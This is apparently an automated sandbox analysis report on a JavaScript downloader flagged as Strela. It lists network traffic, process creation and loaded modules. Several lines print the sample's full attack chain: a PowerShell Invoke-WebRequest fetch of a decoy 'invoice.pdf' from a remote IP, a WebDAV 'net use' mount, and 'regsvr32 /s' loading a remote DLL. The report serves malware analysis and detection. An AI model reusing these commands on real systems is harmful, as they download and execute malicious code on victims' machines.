ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1682296034.000001E43D6F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1737438985.000001FEABBFF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1737438985.000001FEABBEC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1737438985.000001FEABBC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1737438985.000001FEABC20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1737438985.000001FEABBC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space7
Source: svchost.exe, 00000008.00000002.2965216469.0000015D96800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1738534244.0000015D96A28000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1738534244.0000015D96A28000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1738534244.0000015D96A28000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1738534244.0000015D96A5D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5800, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 4208093227073.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3336:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2nkmd031.wez.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1740,i,3665999997121798375,9251294079657549249,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1740,i,3665999997121798375,9251294079657549249,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
